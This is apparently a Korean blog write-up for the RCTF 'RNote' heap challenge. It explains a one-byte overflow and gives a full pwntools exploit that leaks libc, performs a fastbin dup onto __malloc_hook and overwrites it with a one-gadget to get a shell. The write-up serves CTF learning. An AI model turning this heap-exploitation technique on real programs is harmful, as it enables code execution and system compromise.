rctf - rnote
2021. 1. 27. 15:11ㆍCTF's Write-up
문제를 확인해보면 전형적인 힙문제같다, 1.생성 2.삭제 3.출력 기능이 있다.
ida로 메인 코드를 확인해보면
add 에서 for ( i = 0; i <= 15 && *((_DWORD *)&unk_6020E0 + 8 * i); ++i ) 이기때문에 1byte bof 가 발생한다.
exploit 과정을 아래와 같다.
1. unsorted bin을 활용해서 main_arena leak
2.1byte bof 로 메모리 변조 --> malloc_hook
3. malloc hook ovewrite
payload 는 아래와 같다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
|
from pwn import *
r = process("./RNote")
e = ELF("./RNote")
context.log_level = "debug"
l = ELF("/lib/x86_64-linux-gnu/libc.so.6")
arena_off = 0x3c4b20
oneshot_off = 0xf1147
malloc_hook_off = l.symbols['__malloc_hook']
def add(size, title, content) :
r.sendlineafter("choice: ", "1")
r.sendlineafter("size: ", str(size))
r.sendlineafter("title: ", title)
r.sendlineafter("content: ", content)
def delete(delete) :
r.sendlineafter("choice: ", "2")
r.sendlineafter("delete: ", str(delete))
def show(show) :
r.sendlineafter("choice: ", "3")
r.sendlineafter("show: ", str(show))
add(200, "AAAA", "AAAA")
add(200, "AAAA", "AAAA")
delete(0)
add(200, "AAAA", "AAAA")
show(0)
r.recvuntil("\x7f")
leak_add = u64(r.recvuntil("\x7f")[-6:] + "\x00\x00")
libc_base = leak_add - (arena_off + 88)
oneshot_add = libc_base + oneshot_off
malloc_hook_add = libc_base + malloc_hook_off
log.info("leak_add = " + hex(leak_add))
log.info("libc_base = " + hex(libc_base))
log.info("oneshot_add = " + hex(oneshot_add))
log.info("malloc_hook_add = " + hex(malloc_hook_add))
delete(0)
delete(1)
delete(2)
add(96, "AAAA", "AAAA")
add(96, "BBBB", "BBBB")
add(96, "C"*16+"\x10", "CCCC")
delete(0)
delete(1)
delete(2)
add(96,"AAAA",p64(malloc_hook_add-0x23)) #fastbin dup
add(96,"BBBB","BBBB")
add(96,"CCCC","CCCC")
add(96,"DDDD","D"*19 + p64(oneshot_add)) #malloc in malloc_hook-0x23
r.sendlineafter("Your choice: ","1")
r.sendlineafter("note size: ","1")
r.interactive()
|
cs |
실행시키면
shell 획득이 가능하다.
'CTF's Write-up' 카테고리의 다른 글
Dreamhack - broken-png (0) | 2021.02.04 |
---|---|
DreamHack - login-1 (0) | 2021.02.03 |
DreamHack - php-1 (0) | 2021.01.12 |
DreamHack - rev-basic-2 (0) | 2021.01.12 |
HackCTF - World Best Encryption Tool (0) | 2021.01.11 |